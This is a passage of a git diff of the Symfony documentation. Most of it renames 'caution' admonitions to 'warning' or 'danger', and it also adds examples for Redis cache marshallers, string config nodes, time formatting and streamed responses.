 validation.rst                                |    2 +-
 validation/custom_constraint.rst              |   41 +
 validation/groups.rst                         |    2 +-
 validation/sequence_provider.rst              |    4 +-
 web_link.rst                                  |   22 +-
 webhook.rst                                   |    7 +-
 workflow.rst                                  |    2 +-
 187 files changed, 4032 insertions(+), 3028 deletions(-)
 rename _images/{components => }/serializer/serializer_workflow.svg (100%)
 rename _images/sources/{components => }/serializer/serializer_workflow.dia (100%)
 delete mode 100644 components/serializer.rst
 create mode 100644 reference/constraints/Slug.rst
 delete mode 100644 serializer/custom_encoders.rst
 create mode 100644 serializer/custom_name_converter.rst
 create mode 100644 serializer/encoders.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 5ea86e6abc4..04e720bf653 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -23,6 +23,8 @@ rules:
     forbidden_directives:
         directives:
             - '.. index::'
+            - directive: '.. caution::'
+              replacements: ['.. warning::', '.. danger::']
     indention: ~
     lowercase_as_in_use_statements: ~
     max_blank_lines:
@@ -46,6 +48,7 @@ rules:
     no_namespace_after_use_statements: ~
     no_php_open_tag_in_code_block_php_directive: ~
     no_space_before_self_xml_closing_tag: ~
+    non_static_phpunit_assertions: ~
     only_backslashes_in_namespace_in_php_code_block: ~
     only_backslashes_in_use_statements_in_php_code_block: ~
     ordered_use_statements: ~
@@ -99,7 +102,6 @@ whitelist:
         - '#. The most important config file is ``app/config/services.yml``, which now is'
         - 'The bin/console Command'
         - '.. _`LDAP injection`: http://projects.webappsec.org/w/page/13246947/LDAP%20Injection'
-        - '.. versionadded:: 2.7.2' # Doctrine
         - '.. versionadded:: 2.8.0' # Doctrine
         - '.. versionadded:: 1.9.0' # Encore
         - '.. versionadded:: 1.18' # Flex in setup/upgrade_minor.rst
diff --git a/.github/workflows/ci.yaml b/.github/workflows/ci.yaml
index fcbdbe0477b..061b0bb85b0 100644
--- a/.github/workflows/ci.yaml
+++ b/.github/workflows/ci.yaml
@@ -73,7 +73,7 @@ jobs:
                     key: ${{ runner.os }}-doctor-rst-${{ steps.extract_base_branch.outputs.branch }}
 
             -   name: "Run DOCtor-RST"
-                uses: docker://oskarstark/doctor-rst:1.62.3
+                uses: docker://oskarstark/doctor-rst:1.64.0
                 with:
                     args: --short --error-format=github --cache-file=/github/workspace/.cache/doctor-rst.cache
 
diff --git a/_build/redirection_map b/_build/redirection_map
index 115ec75ade2..1701f4a8f70 100644
--- a/_build/redirection_map
+++ b/_build/redirection_map
@@ -525,8 +525,7 @@
 /testing/functional_tests_assertions /testing#testing-application-assertions
 /components https://symfony.com/components
 /components/index https://symfony.com/components
-/serializer/normalizers /components/serializer#normalizers
-/components/serializer#component-serializer-attributes-groups-annotations /components/serializer#component-serializer-attributes-groups-attributes
+/serializer/normalizers /serializer#serializer-built-in-normalizers
 /logging/monolog_regex_based_excludes /logging/monolog_exclude_http_codes
 /security/named_encoders /security/named_hashers
 /components/inflector /string#inflector
@@ -572,3 +571,5 @@
 /doctrine/registration_form /security#security-make-registration-form
 /form/form_dependencies /form/create_custom_field_type
 /doctrine/reverse_engineering /doctrine#doctrine-adding-mapping
+/components/serializer /serializer
+/serializer/custom_encoder /serializer/encoders#serializer-custom-encoder
diff --git a/_images/components/serializer/serializer_workflow.svg b/_images/serializer/serializer_workflow.svg
similarity index 100%
rename from _images/components/serializer/serializer_workflow.svg
rename to _images/serializer/serializer_workflow.svg
diff --git a/_images/sources/components/serializer/serializer_workflow.dia b/_images/sources/serializer/serializer_workflow.dia
similarity index 100%
rename from _images/sources/components/serializer/serializer_workflow.dia
rename to _images/sources/serializer/serializer_workflow.dia
diff --git a/bundles.rst b/bundles.rst
index ba3a2209999..878bee3af4a 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -3,7 +3,7 @@
 The Bundle System
 =================
 
-.. caution::
+.. warning::
 
     In Symfony versions prior to 4.0, it was recommended to organize your own
     application code using bundles. This is :ref:`no longer recommended <best-practice-no-application-bundles>` and bundles
@@ -58,7 +58,7 @@ Start by creating a new class called ``AcmeBlogBundle``::
     {
     }
 
-.. caution::
+.. warning::
 
     If your bundle must be compatible with previous Symfony versions you have to
     extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle` instead.
@@ -118,7 +118,7 @@ to be adjusted if needed:
 
 .. _bundles-legacy-directory-structure:
 
-.. caution::
+.. warning::
 
     The recommended bundle structure was changed in Symfony 5, read the
     `Symfony 4.4 bundle documentation`_ for information about the old
diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 5996bcbe43d..376984388db 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -246,7 +246,7 @@ with Symfony Flex to install a specific Symfony version:
     # recommended to have a better output and faster download time)
     composer update --prefer-dist --no-progress
 
-.. caution::
+.. warning::
 
     If you want to cache your Composer dependencies, **do not** cache the
     ``vendor/`` directory as this has side-effects. Instead cache
diff --git a/bundles/extension.rst b/bundles/extension.rst
index 347f63b7af5..0537eb00c3e 100644
--- a/bundles/extension.rst
+++ b/bundles/extension.rst
@@ -200,7 +200,7 @@ Patterns are transformed into the actual class namespaces using the classmap
 generated by Composer. Therefore, before using these patterns, you must generate
 the full classmap executing the ``dump-autoload`` command of Composer.
 
-.. caution::
+.. warning::
 
     This technique can't be used when the classes to compile use the ``__DIR__``
     or ``__FILE__`` constants, because their values will change when loading
diff --git a/bundles/override.rst b/bundles/override.rst
index 36aea69b231..f25bd785373 100644
--- a/bundles/override.rst
+++ b/bundles/override.rst
@@ -19,7 +19,7 @@ For example, to override the ``templates/registration/confirmed.html.twig``
 template from the AcmeUserBundle, create this template:
 ``<your-project>/templates/bundles/AcmeUserBundle/registration/confirmed.html.twig``
 
-.. caution::
+.. warning::
 
     If you add a template in a new location, you *may* need to clear your
     cache (``php bin/console cache:clear``), even if you are in debug mode.
diff --git a/cache.rst b/cache.rst
index 7264585f233..833e4d77007 100644
--- a/cache.rst
+++ b/cache.rst
@@ -829,7 +829,7 @@ Then, register the ``SodiumMarshaller`` service using this key:
             //->addArgument(['env(base64:CACHE_DECRYPTION_KEY)', 'env(base64:OLD_CACHE_DECRYPTION_KEY)'])
             ->addArgument(new Reference('.inner'));
 
-.. caution::
+.. danger::
 
     This will encrypt the values of the cache items, but not the cache keys. Be
     careful not to leak sensitive data in the keys.
diff --git a/components/cache/adapters/apcu_adapter.rst b/components/cache/adapters/apcu_adapter.rst
index 99d76ce5d27..f2e92850cd8 100644
--- a/components/cache/adapters/apcu_adapter.rst
+++ b/components/cache/adapters/apcu_adapter.rst
@@ -5,7 +5,7 @@ This adapter is a high-performance, shared memory cache. It can *significantly*
 increase an application's performance, as its cache contents are stored in shared
 memory, a component appreciably faster than many others, such as the filesystem.
 
-.. caution::
+.. warning::
 
     **Requirement:** The `APCu extension`_ must be installed and active to use
     this adapter.
@@ -30,7 +30,7 @@ and cache items version string as constructor arguments::
         $version = null
     );
 
-.. caution::
+.. warning::
 
     Use of this adapter is discouraged in write/delete heavy workloads, as these
     operations cause memory fragmentation that results in significantly degraded performance.
diff --git a/components/cache/adapters/couchbasebucket_adapter.rst b/components/cache/adapters/couchbasebucket_adapter.rst
index aaf400319f4..29c9e26f83c 100644
--- a/components/cache/adapters/couchbasebucket_adapter.rst
+++ b/components/cache/adapters/couchbasebucket_adapter.rst
@@ -14,7 +14,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``2.6`` or
diff --git a/components/cache/adapters/couchbasecollection_adapter.rst b/components/cache/adapters/couchbasecollection_adapter.rst
index 25640a20b0f..ba78cc46eff 100644
--- a/components/cache/adapters/couchbasecollection_adapter.rst
+++ b/components/cache/adapters/couchbasecollection_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Couchbase PHP extension`_ as well as a `Couchbase server`_
     must be installed, active, and running to use this adapter. Version ``3.0`` or
diff --git a/components/cache/adapters/filesystem_adapter.rst b/components/cache/adapters/filesystem_adapter.rst
index 26ef48af27c..db877454859 100644
--- a/components/cache/adapters/filesystem_adapter.rst
+++ b/components/cache/adapters/filesystem_adapter.rst
@@ -33,7 +33,7 @@ and cache root path as constructor parameters::
         $directory = null
     );
 
-.. caution::
+.. warning::
 
     The overhead of filesystem IO often makes this adapter one of the *slower*
     choices. If throughput is paramount, the in-memory adapters
diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index d68d3e3b9ac..64baf0d4702 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -8,7 +8,7 @@ shared memory; you can store contents independent of your PHP environment.
 The ability to utilize a cluster of servers to provide redundancy and/or fail-over
 is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** The `Memcached PHP extension`_ as well as a `Memcached server`_
     must be installed, active, and running to use this adapter. Version ``2.2`` or
@@ -256,7 +256,7 @@ Available Options
     executed in a "fire-and-forget" manner; no attempt to ensure the operation
     has been received or acted on will be made once the client has executed it.
 
-    .. caution::
+    .. warning::
 
         Not all library operations are tested in this mode. Mixed TCP and UDP
         servers are not allowed.
diff --git a/components/cache/adapters/php_files_adapter.rst b/components/cache/adapters/php_files_adapter.rst
index efd2cf0e964..6f171f0fede 100644
--- a/components/cache/adapters/php_files_adapter.rst
+++ b/components/cache/adapters/php_files_adapter.rst
@@ -28,7 +28,7 @@ file similar to the following::
     handles file includes, this adapter has the potential to be much faster than other
     filesystem-based caches.
 
-.. caution::
+.. warning::
 
     While it supports updates and because it is using OPcache as a backend, this adapter is
     better suited for append-mostly needs. Using it in other scenarios might lead to
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 719d6056f19..3362f4cc2db 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -15,7 +15,7 @@ Unlike the :doc:`APCu adapter </components/cache/adapters/apcu_adapter>`, and si
 shared memory; you can store contents independent of your PHP environment. The ability
 to utilize a cluster of servers to provide redundancy and/or fail-over is also available.
 
-.. caution::
+.. warning::
 
     **Requirements:** At least one `Redis server`_ must be installed and running to use this
     adapter. Additionally, this adapter requires a compatible extension or library that implements
@@ -38,7 +38,13 @@ as the second and third parameters::
         // the default lifetime (in seconds) for cache items that do not define their
         // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
         // until RedisAdapter::clear() is invoked or the server(s) are purged)
-        $defaultLifetime = 0
+        $defaultLifetime = 0,
+
+        // $marshaller (optional) An instance of MarshallerInterface to control the serialization
+        // and deserialization of cache items. By default, native PHP serialization is used.
+        // This can be useful for compressing data, applying custom serialization logic, or
+        // optimizing the size and performance of cached items
+        ?MarshallerInterface $marshaller = null
     );
 
 Configure the Connection
@@ -266,6 +272,80 @@ performance when using tag-based invalidation::
 
 Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
+Working with Marshaller
+-----------------------
+
+TagAwareMarshaller for Tag-Based Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Optimizes caching for tag-based retrieval, allowing efficient management of related items::
+
+    $marshaller = new TagAwareMarshaller();
+
+    $cache = new RedisAdapter($redis, 'tagged_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('tagged_key');
+    $item->set(['value' => 'some_data', 'tags' => ['tag1', 'tag2']]);
+    $cache->save($item);
+
+SodiumMarshaller for Encrypted Caching
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Encrypts cached data using Sodium for enhanced security::
+
+    $encryptionKeys = [sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($encryptionKeys);
+
+    $cache = new RedisAdapter($redis, 'secure_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('secure_key');
+    $item->set('confidential_data');
+    $cache->save($item);
+
+DefaultMarshaller with igbinary Serialization
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Uses ``igbinary` for faster and more efficient serialization when available::
+
+    $marshaller = new DefaultMarshaller(true);
+
+    $cache = new RedisAdapter($redis, 'optimized_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('optimized_key');
+    $item->set(['data' => 'optimized_data']);
+    $cache->save($item);
+
+DefaultMarshaller with Exception on Failure
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Throws an exception if serialization fails, facilitating error handling::
+
+    $marshaller = new DefaultMarshaller(false, true);
+
+    $cache = new RedisAdapter($redis, 'error_namespace', 3600, $marshaller);
+
+    try {
+        $item = $cache->getItem('error_key');
+        $item->set('data');
+        $cache->save($item);
+    } catch (\ValueError $e) {
+        echo 'Serialization failed: '.$e->getMessage();
+    }
+
+SodiumMarshaller with Key Rotation
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Supports key rotation, ensuring secure decryption with both old and new keys::
+
+    $keys = [sodium_crypto_box_keypair(), sodium_crypto_box_keypair()];
+    $marshaller = new SodiumMarshaller($keys);
+
+    $cache = new RedisAdapter($redis, 'rotated_namespace', 3600, $marshaller);
+
+    $item = $cache->getItem('rotated_key');
+    $item->set('data_to_encrypt');
+    $cache->save($item);
+
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
 .. _`Redis`: https://github.com/phpredis/phpredis
diff --git a/components/clock.rst b/components/clock.rst
index cdbbdd56e6b..5b20e6000b9 100644
--- a/components/clock.rst
+++ b/components/clock.rst
@@ -129,18 +129,18 @@ is expired or not, by modifying the clock's time::
             $validUntil = new DateTimeImmutable('2022-11-16 15:25:00');
 
             // $validUntil is in the future, so it is not expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
 
             // Clock sleeps for 10 minutes, so now is '2022-11-16 15:30:00'
             $clock->sleep(600); // Instantly changes time as if we waited for 10 minutes (600 seconds)
 
             // modify the clock, accepts all formats supported by DateTimeImmutable::modify()
-            static::assertTrue($expirationChecker->isExpired($validUntil));
+            $this->assertTrue($expirationChecker->isExpired($validUntil));
 
             $clock->modify('2022-11-16 15:00:00');
 
             // $validUntil is in the future again, so it is no longer expired
-            static::assertFalse($expirationChecker->isExpired($validUntil));
+            $this->assertFalse($expirationChecker->isExpired($validUntil));
         }
     }
 
diff --git a/components/config/definition.rst b/components/config/definition.rst
index 929246fa915..24c142ec5a5 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -83,9 +83,19 @@ reflect the real structure of the configuration values::
             ->scalarNode('default_connection')
                 ->defaultValue('mysql')
             ->end()
+            ->stringNode('username')
+                ->defaultValue('root')
+            ->end()
+            ->stringNode('password')
+                ->defaultValue('root')
+            ->end()
         ->end()
     ;
 
+.. versionadded:: 7.2
+
+    The ``stringNode()`` method was introduced in Symfony 7.2.
+
 The root node itself is an array node, and has children, like the boolean
 node ``auto_connect`` and the scalar node ``default_connection``. In general:
 after defining a node, a call to ``end()`` takes you one step up in the
@@ -100,6 +110,7 @@ node definition. Node types are available for:
 * scalar (generic type that includes booleans, strings, integers, floats
   and ``null``)
 * boolean
+* string
 * integer
 * float
 * enum (similar to scalar, but it only allows a finite set of values)
@@ -109,6 +120,10 @@ node definition. Node types are available for:
 and are created with ``node($name, $type)`` or their associated shortcut
 ``xxxxNode($name)`` method.
 
+.. versionadded:: 7.2
+
+    Support for the ``string`` type was introduced in Symfony 7.2.
+
 Numeric Node Constraints
 ~~~~~~~~~~~~~~~~~~~~~~~~
 
@@ -670,7 +685,7 @@ The separator used in keys is typically ``_`` in YAML and ``-`` in XML.
 For example, ``auto_connect`` in YAML and ``auto-connect`` in XML. The
 normalization would make both of these ``auto_connect``.
 
-.. caution::
+.. warning::
 
     The target key will not be altered if it's mixed like
     ``foo-bar_moo`` or if it already exists.
@@ -800,6 +815,7 @@ A validation rule always has an "if" part. You can specify this part in
 the following ways:
 
 - ``ifTrue()``
+- ``ifFalse()``
 - ``ifString()``
 - ``ifNull()``
 - ``ifEmpty()``
@@ -818,6 +834,10 @@ A validation rule also requires a "then" part:
 Usually, "then" is a closure. Its return value will be used as a new value
 for the node, instead of the node's original value.
 
+.. versionadded:: 7.3
+
+    The ``ifFalse()`` method was introduced in Symfony 7.3.
+
 Configuring the Node Path Separator
 -----------------------------------
 
@@ -889,7 +909,7 @@ Otherwise the result is a clean array of configuration values::
         $configs
     );
 
-.. caution::
+.. warning::
 
     When processing the configuration tree, the processor assumes that the top
     level array key (which matches the extension name) is already stripped off.
diff --git a/components/console/changing_default_command.rst b/components/console/changing_default_command.rst
index b739e3b39ba..c69995ea395 100644
--- a/components/console/changing_default_command.rst
+++ b/components/console/changing_default_command.rst
@@ -52,7 +52,7 @@ This will print the following to the command line:
 
     Hello World
 
-.. caution::
+.. warning::
 
     This feature has a limitation: you cannot pass any argument or option to
     the default command because they are ignored.
diff --git a/components/console/events.rst b/components/console/events.rst
index f0edf2205ac..e550025b7dd 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -14,7 +14,7 @@ the wheel, it uses the Symfony EventDispatcher component to do the work::
     $application->setDispatcher($dispatcher);
     $application->run();
 
-.. caution::
+.. warning::
 
     Console events are only triggered by the main command being executed.
     Commands called by the main command will not trigger any event, unless
diff --git a/components/console/helpers/formatterhelper.rst b/components/console/helpers/formatterhelper.rst
index 3cb87c4c307..d2b19915a3a 100644
--- a/components/console/helpers/formatterhelper.rst
+++ b/components/console/helpers/formatterhelper.rst
@@ -129,10 +129,16 @@ Sometimes you want to format seconds to time. This is possible with the
 The first argument is the seconds to format and the second argument is the
 precision (default ``1``) of the result::
 
-    Helper::formatTime(42);        // 42 secs
-    Helper::formatTime(125);       // 2 mins
-    Helper::formatTime(125, 2);    // 2 mins, 5 secs
-    Helper::formatTime(172799, 4); // 1 day, 23 hrs, 59 mins, 59 secs
+    Helper::formatTime(0.001);         // 1 ms
+    Helper::formatTime(42);            // 42 s
+    Helper::formatTime(125);           // 2 min
+    Helper::formatTime(125, 2);        // 2 min, 5 s
+    Helper::formatTime(172799, 4);     // 1 d, 23 h, 59 min, 59 s
+    Helper::formatTime(172799.056, 5); // 1 d, 23 h, 59 min, 59 s, 56 ms
+
+.. versionadded:: 7.3
+
+    Support for formatting up to milliseconds was introduced in Symfony 7.3.
 
 Formatting Memory
 -----------------
diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index 4d524a2008e..19e2d0daef5 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -323,7 +323,7 @@ to display it can be customized::
     // the bar width
     $progressBar->setBarWidth(50);
 
-.. caution::
+.. warning::
 
     For performance reasons, Symfony redraws the screen once every 100ms. If this is too
     fast or too slow for your application, use the methods
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index e33c4ed5fa7..2670ec3084a 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -329,7 +329,7 @@ convenient for passwords::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     When you ask for a hidden response, Symfony will use either a binary, change
     ``stty`` mode or use another trick to hide the response. If none is available,
@@ -392,7 +392,7 @@ method::
         return Command::SUCCESS;
     }
 
-.. caution::
+.. warning::
 
     The normalizer is called first and the returned value is used as the input
     of the validator. If the answer is invalid, don't throw exceptions in the
@@ -540,7 +540,7 @@ This way you can test any user interaction (even complex ones) by passing the ap
     simulates a user hitting ``ENTER`` after each input, no need for passing
     an additional input.
 
-.. caution::
+.. warning::
 
     On Windows systems Symfony uses a special binary to implement hidden
     questions. This means that those questions don't use the default ``Input``
diff --git a/components/event_dispatcher.rst b/components/event_dispatcher.rst
index 83cead3d19c..8cd676dd5fe 100644
--- a/components/event_dispatcher.rst
+++ b/components/event_dispatcher.rst
@@ -476,11 +476,7 @@ with some other dispatchers:
 Learn More
 ----------
 
-.. toctree::
-    :maxdepth: 1
-
-    /components/event_dispatcher/generic_event
-
+* :doc:`/components/event_dispatcher/generic_event`
 * :ref:`The kernel.event_listener tag <dic-tags-kernel-event-listener>`
 * :ref:`The kernel.event_subscriber tag <dic-tags-kernel-event-subscriber>`
 
diff --git a/components/expression_language.rst b/components/expression_language.rst
index 785beebd9da..b0dd10b0f42 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -106,6 +106,10 @@ if the expression is not valid::
 
     $expressionLanguage->lint('1 + 2', []); // doesn't throw anything
 
+    $expressionLanguage->lint('1 + a', []);
+    // throws a SyntaxError exception:
+    // "Variable "a" is not valid around position 5 for expression `1 + a`."
+
 The behavior of these methods can be configured with some flags defined in the
 :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class:
 
@@ -121,8 +125,8 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // this returns true because the unknown variables and functions are ignored
-    var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
+    // does not throw a SyntaxError because the unknown variables and functions are ignored
+    $expressionLanguage->lint('unknown_var + unknown_function()', [], Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS);
 
 .. versionadded:: 7.1
 
diff --git a/components/finder.rst b/components/finder.rst
index a3b91470b62..cecc597ac64 100644
--- a/components/finder.rst
+++ b/components/finder.rst
@@ -41,7 +41,7 @@ The ``$file`` variable is an instance of
 :class:`Symfony\\Component\\Finder\\SplFileInfo` which extends PHP's own
 :phpclass:`SplFileInfo` to provide methods to work with relative paths.
 
-.. caution::
+.. warning::
 
     The ``Finder`` object doesn't reset its internal state automatically.
     This means that you need to create a new instance if you do not want
diff --git a/components/form.rst b/components/form.rst
index f463ef5911b..44f407e4c8e 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -644,7 +644,7 @@ method:
 
         // ...
 
-.. caution::
+.. warning::
 
     The form's ``createView()`` method should be called *after* ``handleRequest()`` is
     called. Otherwise, when using :doc:`form events </form/events>`, changes done
diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 4dcf3b1e4da..8db6cd27f68 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -367,11 +367,13 @@ of the ``anonymize()`` method to specify the number of bytes that should be
 anonymized depending on the IP address format::
 
     $ipv4 = '123.234.235.236';
-    $anonymousIpv4 = IpUtils::anonymize($ipv4, v4Bytes: 3);
+    $anonymousIpv4 = IpUtils::anonymize($ipv4, 3);
     // $anonymousIpv4 = '123.0.0.0'
 
     $ipv6 = '2a01:198:603:10:396e:4789:8e99:890f';
-    $anonymousIpv6 = IpUtils::anonymize($ipv6, v6Bytes: 10);
+    // (you must define the second argument (bytes to anonymize in IPv4 addresses)
+    // even when you are only anonymizing IPv6 addresses)
+    $anonymousIpv6 = IpUtils::anonymize($ipv6, 3, 10);
     // $anonymousIpv6 = '2a01:198:603::'
 
 .. versionadded:: 7.2
@@ -679,8 +681,19 @@ Streaming a Response
 ~~~~~~~~~~~~~~~~~~~~
 
 The :class:`Symfony\\Component\\HttpFoundation\\StreamedResponse` class allows
-you to stream the Response back to the client. The response content is
-represented by a PHP callable instead of a string::
+you to stream the Response back to the client. The response content can be
+represented by a string iterable::
+
+    use Symfony\Component\HttpFoundation\StreamedResponse;
+
+    $chunks = ['Hello', ' World'];
+
+    $response = new StreamedResponse();
+    $response->setChunks($chunks);
+    $response->send();
+
+For most complex use cases, the response content can be instead represented by
+a PHP callable::
 
     use Symfony\Component\HttpFoundation\StreamedResponse;
 
@@ -708,6 +721,10 @@ represented by a PHP callable instead of a string::
         // disables FastCGI buffering in nginx only for this response
         $response->headers->set('X-Accel-Buffering', 'no');
 
+.. versionadded:: 7.3
+
+    Support for using string iterables was introduced in Symfony 7.3.
+
 Streaming a JSON Response
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 97de70b66df..02791b370bc 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -471,7 +471,7 @@ you will trigger the ``kernel.terminate`` event where you can perform certain
 actions that you may have delayed in order to return the response as quickly
 as possible to the client (e.g. sending emails).
 
-.. caution::
+.. warning::
 
     Internally, the HttpKernel makes use of the :phpfunction:`fastcgi_finish_request`
     PHP function. This means that at the moment, only the `PHP FPM`_ server
diff --git a/components/ldap.rst b/components/ldap.rst
index d5f6bc3fdfe..e52a341986c 100644
--- a/components/ldap.rst
+++ b/components/ldap.rst
@@ -70,7 +70,7 @@ distinguished name (DN) and the password of a user::
 
     $ldap->bind($dn, $password);
 
-.. caution::
+.. danger::
 
     When the LDAP server allows unauthenticated binds, a blank password will always be valid.
 
diff --git a/components/lock.rst b/components/lock.rst
index bf75fb49f7a..b8ba38c8fc7 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -359,7 +359,7 @@ lose the lock it acquired automatically::
         throw new \Exception('Process failed');
     }
 
-.. caution::
+.. warning::
 
     A common pitfall might be to use the ``isAcquired()`` method to check if
     a lock has already been acquired by any process. As you can see in this example
@@ -427,7 +427,7 @@ when the PHP process ends)::
     // if none is given, sys_get_temp_dir() is used internally.
     $store = new FlockStore('/var/stores');
 
-.. caution::
+.. warning::
 
     Beware that some file systems (such as some types of NFS) do not support
     locking. In those cases, it's better to use a directory on a local disk
@@ -668,7 +668,7 @@ the stores::
 
     $store = new CombinedStore($stores, new UnanimousStrategy());
 
-.. caution::
+.. warning::
 
     In order to get high availability when using the ``ConsensusStrategy``, the
     minimum cluster size must be three servers. This allows the cluster to keep
@@ -720,7 +720,7 @@ the ``Lock``.
 Every concurrent process must store the ``Lock`` on the same server. Otherwise two
 different machines may allow two different processes to acquire the same ``Lock``.
 
-.. caution::
+.. warning::
 
     To guarantee that the same server will always be safe, do not use Memcached
     behind a LoadBalancer, a cluster or round-robin DNS. Even if the main server
@@ -762,12 +762,12 @@ Using the above methods, a robust code would be::
         // Perform the task whose duration MUST be less than 5 seconds
     }
 
-.. caution::
+.. warning::
 
     Choose wisely the lifetime of the ``Lock`` and check whether its remaining
     time to live is enough to perform the task.
 
-.. caution::
+.. warning::
 
     Storing a ``Lock`` usually takes a few milliseconds, but network conditions
     may increase that time a lot (up to a few seconds). Take that into account
@@ -776,7 +776,7 @@ Using the above methods, a robust code would be::
 By design, locks are stored on servers with a defined lifetime. If the date or
 time of the machine changes, a lock could be released sooner than expected.
 
-.. caution::
+.. warning::
 
     To guarantee that date won't change, the NTP service should be disabled
     and the date should be updated when the service is stopped.
@@ -798,7 +798,7 @@ deployments.
 
 Some file systems (such as some types of NFS) do not support locking.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same physical file system by running
     on the same machine and using the same absolute path to the lock directory.
@@ -827,7 +827,7 @@ and may disappear by mistake at any time.
 If the Memcached service or the machine hosting it restarts, every lock would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -835,7 +835,7 @@ be lost without notifying the running processes.
 By default Memcached uses a LRU mechanism to remove old entries when the service
 needs space to add new items.
 
-.. caution::
+.. warning::
 
     The number of items stored in Memcached must be under control. If it's not
     possible, LRU should be disabled and Lock should be stored in a dedicated
@@ -853,7 +853,7 @@ method uses the Memcached's ``flush()`` method which purges and removes everythi
 MongoDbStore
 ~~~~~~~~~~~~
 
-.. caution::
+.. warning::
 
     The locked resource name is indexed in the ``_id`` field of the lock
     collection. Beware that an indexed field's value in MongoDB can be
@@ -879,7 +879,7 @@ about `Expire Data from Collections by Setting TTL`_ in MongoDB.
     recommended to set constructor option ``gcProbability`` to ``0.0`` to
     disable this behavior if you have manually dealt with TTL index creation.
 
-.. caution::
+.. warning::
 
     This store relies on all PHP application and database nodes to have
     synchronized clocks for lock expiry to occur at the correct time. To ensure
@@ -896,12 +896,12 @@ PdoStore
 
 The PdoStore relies on the `ACID`_ properties of the SQL engine.
 
-.. caution::
+.. warning::
 
     In a cluster configured with multiple primaries, ensure writes are
     synchronously propagated to every node, or always use the same node.
 
-.. caution::
+.. warning::
 
     Some SQL engines like MySQL allow to disable the unique constraint check.
     Ensure that this is not the case ``SET unique_checks=1;``.
@@ -910,7 +910,7 @@ In order to purge old locks, this store uses a current datetime to define an
 expiration date reference. This mechanism relies on all server nodes to
 have synchronized clocks.
 
-.. caution::
+.. warning::
 
     To ensure locks don't expire prematurely; the TTLs should be set with
     enough extra time to account for any clock drift between nodes.
@@ -939,7 +939,7 @@ and may disappear by mistake at any time.
 If the Redis service or the machine hosting it restarts, every locks would
 be lost without notifying the running processes.
 
-.. caution::
+.. warning::
 
     To avoid that someone else acquires a lock after a restart, it's recommended
     to delay service start and wait at least as long as the longest lock TTL.
@@ -967,7 +967,7 @@ The ``CombinedStore`` will be, at best, as reliable as the least reliable of
 all managed stores. As soon as one managed store returns erroneous information,
 the ``CombinedStore`` won't be reliable.
 
-.. caution::
+.. warning::
 
     All concurrent processes must use the same configuration, with the same
     amount of managed stored and the same endpoint.
@@ -985,13 +985,13 @@ must run on the same machine, virtual machine or container. Be careful when
 updating a Kubernetes or Swarm service because for a short period of time, there
 can be two running containers in parallel.
 
-.. caution::
+.. warning::
 
